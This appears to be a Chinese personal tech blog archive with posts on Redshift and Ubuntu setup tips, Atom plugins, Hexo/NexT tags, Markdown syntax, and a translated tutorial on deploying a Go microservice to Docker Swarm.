; Set the screen brightness. Default is 1.0.
;brightness=0.9
; It is also possible to use different settings for day and night
; since version 1.8.
;brightness-day=0.7
;brightness-night=0.4
; Set the screen gamma (for all colors, or each color channel
; individually)
gamma=0.8
;gamma=0.8:0.7:0.8
; This can also be set individually for day and night since
; version 1.10.
;gamma-day=0.8:0.7:0.8
;gamma-night=0.6

; Set the location-provider: 'geoclue', 'geoclue2', 'manual'
; type 'redshift -l list' to see possible values.
; The location provider settings are in a different section.
location-provider=manual

; Set the adjustment-method: 'randr', 'vidmode'
; type 'redshift -m list' to see all possible values.
; 'randr' is the preferred method, 'vidmode' is an older API.
; but works in some cases when 'randr' does not.
; The adjustment method settings are in a different section.
adjustment-method=randr

; Configuration of the location-provider:
; type 'redshift -l PROVIDER:help' to see the settings.
; ex: 'redshift -l manual:help'
; Keep in mind that longitudes west of Greenwich (e.g. the Americas)
; are negative numbers.
[manual]
lat=22.65
lon=110.17

; Configuration of the adjustment-method
; type 'redshift -m METHOD:help' to see the settings.
; ex: 'redshift -m randr:help'
; In this example, randr is configured to adjust screen 1.
; Note that the numbering starts from 0, so this is actually the
; second screen. If this option is not specified, Redshift will try
; to adjust _all_ screens.
; [randr]
; screen=1

其中比较重要的参数有：

temp-day temp-night 这两个参数分别是白天色温和晚上色温。可以自己慢慢找到适合自己的大小。
lat lon 这两个参数就是经纬度信息，把刚才提取到的填下去。

修改参数后没有变化的解决办法

分别执行 redshift-gtk -c .config/redshift.conf 和 redshift -c .config/redshift.conf 这两个命令来指定配置文件。在右上角的图标右键后，可以点击 Info 查看当前色温及经纬度信息。

Ubuntu 安装后的常用系统配置

Thu, 01 Feb 2018 17:01:15 GMT

本文介绍了安装 Ubuntu 系统后一些常用的配置。

权限相关

启用 root 并修改密码

新安装的 Ubuntu 默认时没有 root 账户的，需要手动使用 sudo 命令修改 root 密码。

sudo passwd root

取消 sudo 密码

Ubuntu 下使用 sudo 命令默认是需要密码的，可以使用下面的命令并修改配置取消。

sudo visudo

找到 %sudo ALL=(ALL:ALL) :ALL 改成 %sudo ALL=(ALL:ALL) NOPASSWD:ALL。

更换 Ubuntu 镜像源

apt-get 用默认的源速度不是很快，可以更换成国内源来提升速度，国内源有很多，这里使用的是清华大学Ubuntu镜像源。

编辑 /etc/apt/sources.list 备份后替换。

## 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial main restricted universe multiverse
## deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-updates main restricted universe multiverse
## deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-updates main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-backports main restricted universe multiverse
## deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-backports main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-security main restricted universe multiverse
## deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-security main restricted universe multiverse

## 预发布软件源，不建议启用
## deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-proposed main restricted universe multiverse
## deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-proposed main restricted universe multiverse

开机自动启动小键盘

Ubuntu 默认开机是不打开小键盘的，每次重启后使用小键盘是都要开启，是有点繁琐。

先安装 numlockx 这个软件：

sudo apt-get install numlockx

后面有两种方法，你可以依次尝试。

编辑 /usr/share/lightdm/lightdm.conf.d/50-unity-greeter.conf 这个文件，在最后一行添加 greeter-setup-script=/usr/bin/numlockx on。
编辑 /etc/rc.local 在最后一行 exit 0 前写入如下代码：

if [-x /usr/bin/numlockx]; then
numlockx on
fi

重新启动后小键盘就会自动开启。

Chrome 浏览器取消密码环

在 Ubuntu 安装了 Chrome 后，每次重启启动 Chrome 时都要输入一次密码环。为了方便，可以取消掉这个密码环。

在终端输入 seahorse 在弹出的窗口中选中登录，右键更改密码，输入旧密码后连按两个回车把密码置为空。

修改 grub 引导等待时间

grub 的配置文件是 /boot/grub/grub.cfg，但这个文件是由 /etc/default/grub 的配置生成的，所以修改这个文件就好。打开文件之后，将 GRUB_TIMEOUT=0 改成 GRUB_TIMEOUT=5，这里的 5 即为等待 5秒的意思。

更新设置：

sudo update-grub

禁止开机后的系统错误弹窗

Ubuntu 中只要 /var/crash/ 目录下有文件存在，会导致每次开机后都会弹窗提示检查到系统程序错误。如果删除该目录下的文件，别的文件生成时问题又会出现，可以编辑 /etc/default/apport，并将其中的 enabled 属性改成 0。

更正系统时间（双系统）

双系统会导致时间显示不正确，更正命令如下：

sudo timedatectl set-local-rtc 1

将常用中文目录改为英文

安装 Ubuntu 的时候语言选择为中文时，生成的用户目录也变成了中文，不利于命令行的操作。

export LANG=en_US
xdg-user-dirs-gtk-update
export LANG=zh_CN

在弹出的窗口中将文件夹改成英文，下次启动选择不改成中文并不再提示即可。

笔记本触摸板设置

打开：sudo modprobe psmouse。
关闭：sudo modprobe -r psmouse。

在 Ubuntu 上安装 Atom 并配置插件

Thu, 01 Feb 2018 10:57:03 GMT

Atom 是 GitHub 专门为程序员推出的一个跨平台文本编辑器。

Ubuntu 上的安装和卸载

安装

sudo add-apt-repository ppa:webupd8team/atom
sudo apt update
sudo apt install atom

或者直接到 Atom 官网下载 .deb 文件，用这个命令安装：

sudo dpkg -i atom.deb

如果出现依赖问题，使用命令修复：

sudo apt install -f

卸载

sudo apt remove atom
sudo add-apt-repository --remove ppa:webupd8team/atom
sudo apt autoremove

设置淘宝镜像

apm config set registry https://registry.npm.taobao.org

编辑器设置（缩进）

菜单栏: Edit->Preference：

然后点击 Editor 选项：

关闭 Atomic Soft Tabs：
打开 Soft Tabs：
Tab Length 设为 4：
Tab Type 设为 soft：

插件

插件安装方法

Edit->Preference->Install 输入要下载的插件：
或者命令行输入 apm install 加上插件名称。

常用插件推荐和介绍

vim-mode-plus 和 ex-mode

Atom 下的 Vim 实现方案，两个需要配套使用。

platformio-ide-terminal

默认快捷键 Ctrl+Shift+t 或 cmd+Shift+t 在下面打开终端窗口。或者直接点击下面的小加号新建终端窗口。

simplified-chinese-menu

Atom 的中文包，大多数文本都实现了汉化。但是，本身机器配置不高的话会先显示英文再到中文。

minimap

在界面显示一个本文件的缩略图，可以点击到达代码的位置。类似 SublimeText 中的代码缩略。

file-icons

在文件的前面加上一个方便好看的小图标。

markdown-preview-enhanced

使用 Ctrl+Shift+m 打开，要先关闭其余的 Markdown 插件。 Atom 上最好的 Markdown 插件。比官方原生插件和 markdown-preview-plus 都好得多。而且还有详细的 markdown preview enhanced 插件中文文档。

autocomplete-paths

自动补齐文件文件夹路径，详细使用情况搜索官方文档。

精美主题推荐

以 -ui 结尾的为修饰界面的插件。
以 -syntax 结尾的为修饰文件内语法颜色和样式的插件。

set-ui
set-syntax
atom-material-ui
atom-material-syntax
dracula-ui
dracula-syntax
monokai
Lucario
obsidian-syntax

Hexo 和 NexT 的标签插件

Sun, 28 Jan 2018 13:36:25 GMT

标签插件（内置标签）用于在 Hexo 和 NexT 的 Markdown 文档中插入某些特定内容，用来弥补原生 Markdown 文档的功能。

比如，Markdown 文档的图片引用不支持改变图片的显示大小，Hexo 中就可以用 img 标签来改变。

Hexo 的标签插件

其中，大多数 [] 中的内容是可选的。

引用块

{% blockquote [author[, source]] [link] [source_link_title] %}
content
{% endblockquote %}

代码块

{% codeblock [title] [lang:language] [url] [link text] %}
code snippet
{% endcodeblock %}

Pull Quote（醒目引文）

{% pullquote [class] %}
content
{% endpullquote %}

jsFiddle

jsFiddle 是一个前端代码在线演示的网站。

{% jsfiddle shorttag [tabs] [skin] [width] [height] %}

Gist

由 GitHub 提供的包括但不限于记录代码片段的服务。

{% gist gist_id [filename] %}

iframe

在 Markdown 文档中插入 HTML 的 <iframe> 标签。

{% iframe url [width] [height] %}

Image

Markdown 文档不支持引用图片时修改图片的大小，Hexo 提供 img 标签来实现这个功能。

{% img [class names] /path/to/image [width] [height] [title text [alt text]] %}

Link

插入链接，并自动给外部链接添加在新窗口打开的属性。

{% link text url [external] [title] %}

Include Code

插入 /source 文件夹内的代码文件，且支持标注语言种类。

{% include_code [title] [lang:language] path/to/file %}

Youtube

插入 Youtube 视频，需提供 video_id。

{% youtube video_id %}

Vimeo

插入 Vimeo 视频，同样需提供 video_id。

{% vimeo video_id %}

引用文章

引用其他文章的链接，支持文章相对路径和文章链接两种方式。

{% post_path slug %}
{% post_link slug [title] %}

引用资源

在 Hexo 中打开文章资源文件夹的功能后，Markdown 原生的引用资源方法就不再适用于这些文章资源了。正确的引用这些资源的方式是通过下面这些标签来引用。

{% asset_path slug %}
{% asset_img slug [title] %}
{% asset_link slug [title] %}

Raw

在文章中插入 Swig 标签时，可以通过 Raw 标签来防止解析错误。

{% raw%}
content
{% endraw%}

NexT 的內建标签

文本居中的引用

<blockquote class="blockquote-center"> 苟利国家生死以，岂因祸福趋避之。 </blockquote>

{% centerquote %} 苟利国家生死以，岂因祸福趋避之。 {% endcenterquote %}

{% cq %}  苟利国家生死以，岂因祸福趋避之。  {% endcq %}

以上三种方式分别是：

直接在 Markdown 文档中编写 HTML 来调用的 HTML 方式。
要求 Hexo 版本大于或等于 0.4.5 的标签方式。
同样有版本要求的标签别名方式。

突破容器宽度限制的图片

<img src="/image-url" class="full-image" />

{% fullimage /image-url, alt, title %}

{% fi /image-url, alt, title %}

三种方式同上。

Bootstrap Callout

{% note danger %} content {% endnote %}

其中，danger 可以为 default、primary、success、info、warning、danger。

详情查看 Bootstrap 中文文档。

参考链接

Hexo 标签插件文档

NexT 内置标签文档

Markdown 说明

Fri, 08 Dec 2017 05:26:59 GMT

软件文档或者源代码文档是指与软件系统及其软件工程过程有关联的文本实体。

目前最受欢迎的软件文档格式非 Markdown 莫属，本文主要叙述的就是关于它的说明，通过本文你可以学到诸多语法细节和编写地道的 Markdown 文档的方法。

Markdown 介绍

Markdown 是一种轻量级标记语言，创始人为约翰·格鲁伯（John Gruber）。

它允许人们“使用易读易写的纯文本格式编写文档，然后转换成有效的 HTML 文档”。很适合专注于文字而非功能的方面，例如软件的文档、博客的文章等。因此也出现了许多把 Markdown 文档渲染成 HTML 文档的工具。

其中最重要的设计是可读性，也就是说这个语言应该在源码层面上易于阅读。区别于 HTML 文档更加容易修改和维护。为了更具表达力或者是满足用户的需求，出现了许多 Markdown 格式的变种。例如：GitHub 的 Markdown 格式。

这些变种常常是原版的超集，包含了很多原版没有的语法和功能，本文只关注原版基本的语法和功能。

更好的阅读本文

在类似 # 1. * 等前置命令后面都要加个空格使其生效。
每个小标题下面先是展示语法的效果（有些片段因为重复，可能会被省略），然后在下面的代码框中是具体的实现代码。中间可能还会穿插着有关代码的说明和提示。
example 是示例文本，你可以用任意文本替换。但这不代表示例文本都是用 example 表示，为了可读性会使用其他文本，具体情况可关注代码框中的实现。
缩进在文中代表一个 Tab 或四个 Space 。在 soft tab 的情况下，此两者是等价的。后面类似的情况这条规则都适用。

标题

# 标题

一级标题

# 一级标题

另一种一级标题的实现方式，大于或等于三个 = 号就可以被解析。

一级标题
=======

二级标题

## 二级标题

另一种二级标题的实现方式，大于或等于三个 - 号就可以被解析。

二级标题
-------

三级标题

### 三级标题

四级标题

#### 四级标题

五级标题

##### 五级标题

六级标题

###### 六级标题

除一级、二级标题外，其他标题的代码实现只有一种。

标题的有效层级运用可以让文档的结构脉络更加清晰，你可以使用如下代码展现文档目录：

[TOC]

列表

有序列表

1. 1
2. 2
3. 3

然而下面的代码也能产生同样的效果。

2. 1
8. 2
4. 3

这说明前面的序号并没有影响。不过为了不产生歧义，还是使用第一种作为规范更好。

无序列表

* 1
* 2
* 3

其中的 * 号可以被 + 或 - 等价替换。

多行列表

列表也支持多行，需要缩进。

并且子列表需要比父列表更多的缩进。

example

example
example

example

1. example

   example

2. example

   example

列表内引用

example

example

example

同样需要一个 Tab 或四个 Space 来缩进。

* example

  > example
  >
  > example

代码标记

单行（一小段）代码 printf() 标记：

注意：这里的 ` 是反引号，不是单引号。

`printf()`

多行代码标记：

printf()
printf()
printf()

```
printf()
printf()
printf()
```

或者使用缩进。

这里的空格是全角空格，具体实现应当使用半角空格。复制粘贴不能起到应有的效果。

printf()printf()printf()

引用

普通引用

这里是引用

> 这里是引用

可以引用其他包含 Markdown 语法的标签。

example

example

> # 标题
> 1. example
> 2. example

嵌套引用

example

example

example

example

> example
>
> > example
>
> > > example
>
> example

图片与链接

图片

图片行内式

[图片](/avatar.webp "title")

图片参考式

![图片] pid

![图片] [pid]

[pid]: /avatar.webp "title"

链接

自动链接

直接使用 <> 把链接包裹起来：

https://www.sulinehk.com/

<https://www.sulinehk.com/>

邮箱的也类似：example@gmail.com

<example@gmail.com>

链接行内式

链接

[链接](https://www.sulinehk.com/ "title")

链接参考式

[链接] id

[链接] [id]

[id]: https://www.sulinehk.com/ "title"

其中，title 为鼠标指向 链接 或 图片 时出现的文字。
第二行代码可出现在 Markdown 文档的任意位置，id 为任意标识符，引导至第二行代码。
在一个文档里面需大量使用图片或链接时，建议使用参考式，这样更易于管理和更新。

粗体与斜体

粗体

**粗体**
__粗体__

斜体

*斜体*
_斜体_

表格

Table1	Table2	Table3
a	1	one
b	2	two
c	3	three

| Table1 | Table2  | Table3   |
| ------ |:-------:| --------:|
|   a    |    1    |   one    |
|   b    |    2    |   two    |
|   c    |    3    |   three  |

表格的实现格式有更多复杂繁琐的规则，这里不进行更多的概述。

分隔线

在一行内有大于或等于三个的 * - _ 符号且没有其他内容（空格除外）就可以建立一条分隔线。

***
*****
* * *
---
___

删除线

~~example~~

~~example~~

反斜杠

\需要转义的符号（如*）

这样可以避免 Markdown 解析某些字符。

反斜杠支持的符号列表：

\   反斜线
`   反引号
*   星号
_   底线
{}  花括号
[]  方括号
()  括弧
#   井字号
+   加号
-   减号
.   英文句点
!   惊叹号

复选框列表（github 特有)

[x] [ ] 分别表示选中和未选中
[x] [ ] 后有个空格
[ ] 中有个空格
[x] Python
[x] Go
[ ] Lisp
[ ] Ruby

* [x] Python
* [x] Go
* [ ] Lisp
* [ ] Ruby

扩展阅读

Markdown 编写规范

中文文案排版指北

[译]用 Go 语言编写一个微服务博客 — 第五部分 — 在 Docker Swarm 上进行部署

Tue, 28 Mar 2017 13:12:17 GMT

原文链接：Go microservices, part 5 - deploying on Docker Swarm

在第 5 部分中，我们将启动 accountservice，在本地部署的 Docker Swarm 集群上运行，并讨论容器编排的核心概念。

这篇博客文章涉及以下内容：

Docker Swarm 和容器编排
使用 Docker 容器化我们的 accountservice
搭建本地 Docker Swarm 集群
将 accountservice 部署为 Swarm 服务
运行基准测试并收集指标

什么是容器编排？

在开始实践之前，可能需要快速介绍一下容器编排的概念。

随着应用程序变得越来越复杂，并且必须处理越来越高的负载，我们必须接受这样一个事实，即：我们需要管理分布运行在多个物理或虚拟硬件上的数百个服务实例。

而容器编排允许我们将所有硬件视为单个逻辑实体。

来自 thenewstack.io 的有关容器编排的这篇文章将其总结为：抽象了主机基础结构，编排工具使得用户可以将整个集群视为单个部署目标。

我可以试着总结，容器编排工具，如：Kubernetes 或 Docker Swarm 允许我们部署软件组件作为服务，在基础设施上的一个或多个节点上运行。

对于 Docker，Swarm 模式用于管理被称为 swarm 的 Docker 集群。

Kubernetes 的关键概念命名和层次结构略有不同，但是总体上和 Docker Swarm 相同。

容器编排工具不仅为我们处理了服务的生命周期，还为诸如服务发现、负载平衡、内部寻址和日志记录之类的工作提供了工具。

Docker Swarm 核心概念

在 Docker Swarm 中，有三个概念需要介绍：节点、服务和任务。

节点

一个节点是一个在 swarm 里面的 Docker 引擎的实例。

从技术上讲，可以将其视为具有自己的 CPU 资源、内存和网络接口的主机。

节点可以是管理者节点或工作者节点。

服务

服务是对工作者节点上要执行的操作，由容器镜像和您指示容器执行的命令合集来定义。

服务可以被复制或包括，详情请参阅该文档。

服务可以被看作是一种抽象，它使任意数量的容器形成一个逻辑服务，可以通过其名称在整个集群中（或集群外部）来访问它，而不必了解有关内部环境网络拓扑的任何信息。

任务

尽一切可能将任务视为 Docker 容器。

Docker 文档将任务定义为某种承载 Docker 容器和在容器内运行的命令。

管理者节点将启动给定容器镜像的任务分配给工作者节点。

下图展示了微服务格局的可能（简化）的部署图例，其中，两个节点总共运行抽象于两个服务（accountservice, quotes-service）的五个容器实例。

代码

尽管本部分不会更改之前系列中的任何 Go 代码，但我们将添加一些新文件以在 Docker 上运行。

可以从 git 中检出对应的分支，以获取已完成的代码。

git checkout P5

容器化我们的 accountservice

Docker 安装

为了使这部分工作，您需要在开发机器上安装 Docker。

建议您针对操作系统遵循本指南。

就我而言，在为该博客系列部署代码时，我就已经使用 Docker Toolbox 和 Virtualbox 了，但是您也可以使用 Docker for Mac/Windows 或在 Linux 上运行原生的 Docker。

创建一个 Dockerfile

一个 Dockerfile 是 Docker 构建镜像时您希望在其中包含什么的配方。

让我们从在 /accountservice 文件夹中创建一个名为 Dockerfile 的文件来开始：

FROM iron/base

EXPOSE 6767
ADD accountservice-linux-amd64 /
ENTRYPOINT ["./accountservice-linux-amd64"]

标识说明：

FROM：定义基础镜像，即我们将从其开始，再构建自己的镜像。iron/base 是一个非常紧凑的镜像，非常适合运行 Go 应用程序
EXPOSE：定义我们要在内部 Docker 网络上暴露的端口号，使其可以访问
ADD：将文件 accountservice-linux-amd64 添加到容器文件系统的根目录（/）
ENTRYPOINT：定义当 Docker 启动此镜像的容器时要运行的可执行文件

为别的 CPU 架构/操作系统构建

如您所见，我们添加的文件名称中带有 linux-amd64。

尽管我们可以任意命名 Go 可执行文件，但我喜欢使用将操作系统和目标 CPU 平台放在可执行文件名称中的约定。

我是在运行 OS X 的 Mac 上编写此博客系列的。

因此，如果我在 /goblog/accountservice 文件夹中从命令行构建 accountservice 的 go 可执行文件：

> go build

这将在同一文件夹中创建一个名为 accountservice 的可执行文件。

该可执行文件的问题在于，它无法在我们的 Docker 容器（基于 Linux 的底层操作系统）中运行。

因此，在构建之前，我们需要设置一些环境变量，以便 go 编译器和链接器知道我们正在为其它操作系统、CPU 体系结构构建，在该示例中为 Linux。

再次进入 /goblog/accountservice 目录：

> export GOOS=linux
> go build -o accountservice-linux-amd64
> export GOOS=darwin

这将生成一个使用 -o 参数命名的可执行二进制文件。

我通常会编写自己的 shell 脚本，该脚本会将该过程自动化。

由于 OS X 和基于 Linux 的容器都在 AMD64 CPU 架构上运行，因此我们不需要设置（和重置）GOARCH 环境变量。

但是，如果要为 32 位 OS 或 ARM 处理器构建，则需要在构建之前适当设置 GOARCH。

创建一个 Docker 镜像

现在是时候构建我们的第一个包含可执行文件的 Docker 镜像了。

进入 /accountservice 目录的父目录，它应该是 $GOPATH/src/github.com/callistaenterprise/goblog。

在构建 Docker 容器镜像时，我们通常使用 [prefix]/[name] 命名约定的标签。

我通常使用 github 用户名作为前缀，例如：eriklupander/myservicename。

在本博客系列中，我将使用 someprefix。

在项目文件夹（/goblog）执行以下命令，来构建基于上述 Dockerfile 的 Docker 镜像：

> docker build -t someprefix/accountservice accountservice/

Sending build context to Docker daemon 13.17 MB
Step 1/4 : FROM iron/base
 ---> b65946736b2c
Step 2/4 : EXPOSE 6767
 ---> Using cache
 ---> f1147fd9abcf
Step 3/4 : ADD accountservice-linux-amd64 /
 ---> 0841289965c6
Removing intermediate container db3176c5e1e1
Step 4/4 : ENTRYPOINT ./accountservice-linux-amd64
 ---> Running in f99a911fd551
 ---> e5700191acf2
Removing intermediate container f99a911fd551
Successfully built e5700191acf2

很好！我们本地的 Docker 镜像存储库现在包含一个名为 someprefix/accountservice 的镜像。

如果我们要在多个节点上运行，或者要分享我们的新镜像，则可以使用 docker push 使该镜像可用于除开当前活动的 Docker Engine，其它任何能够 pull 的主机。

现在，我们可以通过命令行直接运行此镜像：

> docker run --rm someprefix/accountservice
Starting accountservice
Seeded 100 fake accounts...
2017/02/05 11:52:01 Starting HTTP service at 6767

但是，请注意，此容器不再在您的宿主机 OS 的 localhost 上运行。

现在它存在于自己的网络环境中，实际上我们不能直接从宿主机操作系统中调用它。

当然，有多种方法可以解决此问题，但是我们现在先不管它，而是在本地设置 Docker Swarm 并在那里部署我们的 accountservice。

使用 Ctrl+C 停止刚才启动的容器。

设置一个单节点 Docker Swarm 集群

本博客系列的目标之一是：在容器编排器中运行微服务。

对于大许多人来说，这通常意味着使用 Kubernetes、Docker Swarm 或其它编排器，例如：Apache Mesos 和 Apcera，但是本博客系列将仅专注于 Docker 1.13 的 Docker Swarm。

在开发机上设置 Docker Swarm 集群时涉及的步骤可能会有所不同，具体取决于您自己的操作系统。

我建议您遵循这个指南，或者您可以尝试使用我的方法。

还有基于我的同事 Magnus 的发现，使用 Docker Toolbox、Oracle Virtualbox 和 docker-machine。

创建一个 Swarm 管理器

一个 Docker Swarm 集群至少包含一个 Swarm Manager 和零到多个的 Swarm Worker。

为了简单起见，我的示例将仅使用单个 Swarm Manager，至少现在是这样。

重要的是，在本节之后，您需要有一个正常工作的 Swarm Manager。

此处的示例使用 docker-machine，并使在 Virtualbox 上运行的虚拟 linux 计算机作为我的 Swarm Manager。

在我的示例中，我把它称为 swarm-manager-1。您也可以浏览有关如何创建 Swarm 的官方文档。

以下命令初始化 docker-machine 宿主机的标识为 swarm-manager-1，并设置 swarm 的节点和 IP 地址。

> docker $(docker-machine config swarm-manager-1) swarm init --advertise-addr $(docker-machine ip swarm-manager-1)

如果要创建一个多节点 swarm 集群，请保存好上面命令返回的 join-token，因为稍后在向集群中添加其它节点时将需要它。

创建覆盖网络

Docker 覆盖网络是我们在向 Swarm 添加诸如 accountservice 之类的服务时使用的一种机制。

这样它就可以访问在同一 Swarm 集群中运行的其它容器，而无需了解任何有关实际集群拓扑的信息。

让我们创建一个这样的网络：

docker network create --driver overlay my_network

my_network 是我们为该网络指定的名称。

部署 accountservice

还差一点！现在，是时候将我们的 accountservice 部署为 Docker Swarm 服务了。

这个 docker service create 命令有很多参数，但用到的很少。

以下是我们部署 accountservice 的命令：

> docker service create --name=accountservice --replicas=1 --network=my_network -p=6767:6767 someprefix/accountservice
ntg3zsgb3f7ah4l90sfh43kud

以下是参数的简要说明：

–name：为我们的服务分配一个逻辑名称。这也是其它服务在集群中寻找我们的服务时将使用的名称。因此，如果您有另一个要调用 accountservice 的服务，像这样执行 GET http://accountservice:6767/accounts/10000 就行了。
–replicas：我们想要的服务实例数量。如果我们有一个多节点 Docker Swarm 集群，那么 swarm 引擎将自动在各个节点之间分配实例。
–network：在这里，我们告诉 accountservice 将其自身附加到刚刚创建的覆盖网络。
-p：映射[内部端口]:[外部端口]。在这里，我们使用了 6767:6767，但是如果我们使用 6767:80 创建了它，那么在外部调用时，我们将从端口 80 访问该服务。请注意，这是使我们的服务可从集群外部访问的机制。通常，您不应该将服务直接向外界公开。取而代之的是，您将使用具有路由规则和安全设置的边缘服务器（例如：反向代理），因此外部使用者只能以您想要的方式访问您的服务。
someprefix/accountservice：在这里，我们指定想要容器运行的镜像。在我们的例子中，这是我们在创建容器时指定的标签。注意，如果要运行多节点集群，则必须将镜像推送到 Docker 存储库，例如：public 和 free Docker Hub 服务。如果您希望镜像保持私有，则还可以设置私有 Docker 存储库或使用付费服务。

现在，运行此命令以查看我们的服务是否成功启动。

> docker service ls
ID            NAME               REPLICAS  IMAGE                      
ntg3zsgb3f7a  accountservice     1/1       someprefix/accountservice

很好！现在，我们可以使用 curl 或浏览器来使用我们的 API 了。

我们唯一需要知道的是 Swarm 的公开 IP。

即使我们在具有许多节点的集群上，运行我们服务的一个实例，覆盖网络和 Docker Swarm 也允许我们根据其端口向任何集群主机请求服务。这也意味着两个服务不能在暴露同一端口。

他们很可能在内部具有相同的端口，但对外部的 Swarm 来说，都算一个。

还记得我们之前保存的环境变量 ManagerIP 吗？

> echo $ManagerIP
192.168.99.100

如果前面关闭了终端，则可以重新导出它：

> export ManagerIP=`docker-machine ip swarm-manager-0`

让我们使用 curl 来访问一下：

> curl $ManagerIP:6767/accounts/10000
{"id":"10000","name":"Person_0"}

正常运行！

部署可视化工具

使用 Docker 命令行 API 检查 Swarm 的状态（例如：docker service ls）是完全可行的。

使用可视化工具可能看起来更有趣。这种可视化工具是 Docker Swarm Visualizer 的标记，我们可以将其部署为 Docker Swarm 服务。

这为我们提供了一种查看集群拓扑的替代机制。

它也可以仅用于确保我们可以访问集群中某个端口上公开的服务。

从预建的容器镜像安装可视化工具只需要运行一行：

docker service create \
  --name=viz \
  --publish=8080:8000/tcp \
  --constraint=node.role==manager \
  --mount=type=bind,src=/var/run/docker.sock,dst=/var/run/docker.sock \
  manomarks/visualizer

这将创建一个我们可以在端口 8000 上访问的服务。

在您的浏览器中访问：http://$ManagerIP:8000：

奖励内容！

我使用 Go、Docker Remote API 和 D3.js 制作了一个名为 dvizz 的 Swarm 可视化工具。

如果喜欢的话，可以直接从预建的镜像安装它：

 docker service create \
   --constraint node.role==manager \
   --replicas 1 --name dvizz -p 6969:6969 \
   --mount type=bind,source=/var/run/docker.sock,target=/var/run/docker.sock \
   --network my_network \
   eriklupander/dvizz

在您的浏览器中访问：http://$ManagerIP:6969：

现在它还有一点 bug，所以不要用于正式环境，但在向上或向下扩展服务时，看着该图变化是一件很有趣的事情，我们将在博客系列的第 7 部分中做这件事。

如果您想让它变得更酷、更有用和更少 bug，请随意对 dvizz 发起 pull request！

添加 quotes-service

只有一种服务的微服务不是很常见。

让我们补救一下：直接从容器镜像中部署先前提到的基于 Spring Boot 的 quotes-service，我将其推送到了被标记为 eriklupander/quotes-service 的 Docker Hub：

> docker service create --name=quotes-service --replicas=1 --network=my_network eriklupander/quotes-service

如果您使用 docker ps 列出正在运行的 Docker 容器，我们应该看到它已启动（或正在启动）：

> docker ps
CONTAINER ID    IMAGE                       COMMAND                 CREATED         STATUS                           PORTS                                           NAMES
98867f3514a1    eriklupander/quotes-service "java -Djava.security"  12 seconds ago  Up 10 seconds (health: starting) 8080/tcp

注意，我们不会为此服务暴露端口，这意味着它将无法从 Swarm 集群外部访问，而只能在内部的 8080 端口访问

。我们将在第 7 部分中研究服务发现和负载平衡时集成该服务。

如果您在 Swarm 中添加了 dvizz，则由于我们已经添加了 quotes-service 和 accountservice，它应该显示类似这样的内容。

copyall.sh 脚本

为了使我们的工作更轻松一些，我们可以添加一个 shell 脚本来做自动化重建和重新部署的工作。

在 /goblog 的根目录中，创建一个名为 copyall.sh 的 shell 脚本：

#!/bin/bash
export GOOS=linux
export CGO_ENABLED=0

cd accountservice;go get;go build -o accountservice-linux-amd64;echo built `pwd`;cd ..

export GOOS=darwin

docker build -t someprefix/accountservice accountservice/

docker service rm accountservice
docker service create --name=accountservice --replicas=1 --network=my_network -p=6767:6767 someprefix/accountservice

该脚本设置了环境变量，因此，我们可以正确地为 Linux/AMD64 构建静态链接的二进制文件。

然后再运行一些 Docker 命令来构建镜像并将其部署为 Docker Swarm 服务。

Go 的构建脚本是这个博客系列中不会涉及的主题。

就个人而言，我喜欢 shell 脚本的简洁，但我偶尔也会使用 gradle 插件，而且我知道古老的 make 也很受欢迎。

运行时表现和性能

从现在开始，当服务在 Docker Swarm 中运行时，所有基准测试和 CPU/memory 指标都将在该服务上进行。

这意味着以前博客文章的结果与我们从现在开始所获得的结果不再具有可比性。

我们将使用与以前相同的 Gatling 测试，同时使用 docker stats 收集 CPU 使用率和内存使用情况。

如果您想自己运行负载测试，则第 2 部分中提到的要求仍然适用。

只需注意，您需要将 -baseUrl= 参数更改为 Swarm Manager 节点的 IP，例如：

> mvn gatling:execute -Dusers=1000 -Dduration=30 -DbaseUrl=http://$ManagerIP:6767

启动后的内存使用情况

> docker stats $(docker ps | awk '{if(NR>1) print $NF}')

CONTAINER                                    CPU %               MEM USAGE / LIMIT    
accountservice.1.k8vyt3dulvng9l6y4mj14ncw9   0.00%               5.621 MiB / 1.955 GiB
quotes-service.1.h07fde0ejxru4pqwwgms9qt00   0.06%               293.9 MiB / 1.955 GiB

启动后，包含一个空的 Linux 发行版和我们正在运行的 accountservice 的容器使用了我分配给 Docker Swarm 节点的 2GB 内存中的约 5.6 mb。

基于 Java 的 quotes-service 约为 300 mb，尽管可以通过调整 JVM 来一定程度地减少。

负载测试期间的 CPU 和内存使用情况

CONTAINER                                    CPU %               MEM USAGE / LIMIT   
accountservice.1.k8vyt3dulvng9l6y4mj14ncw9   25.50%              35.15 MiB / 1.955 GiBB

在 Virtualbox 实例，而不是原生 OS X 上运行的 Swarm 中，以 1K req/s 运行时，我们看到的数字与早期的数字非常一致。

预期内存使用量会稍高一些，毕竟，容器本身也需要一些内存。

CPU 使用率也大致相似。

性能

现在的平均等待时间为 4 ms。

性能直接从亚毫秒增加到毫秒的确切原因可能有几个，我猜测当在原生 OS 上运行 Gatling 测试时，请求通过桥接网络在虚拟实例上运行的 Swarm 时得到了优化。

不过，能够以 4ms 的平均延迟运行 1K req/s 仍然非常好，包括从 BoltDB 中读取、序列化为 JSON 和通过 HTTP 提供服务。

为了防止在以后的博客文章中添加链路追踪、日志记录、熔断或其他功能，而需要大量缩小 req/s，现在先记录下 200 req/s 时的情况。

如下所示：

总结

下面总结博客系列的第 5 部分：我们学习了如何在本地启动 Docker Swarm 环境（具有一个节点）以及如何将 accountservice 微服务打包和部署为 Docker Swarm 服务。

在第 6 部分中，我们将为我们的微服务添加一个 Healthcheck。

[译]用 Go 语言编写一个微服务博客 — 第四部分 — 使用 GoConvey 进行单元测试和模拟

Mon, 20 Mar 2017 17:10:25 GMT

原文链接：Go microservices, part 4 - testing and mocking with GoConvey

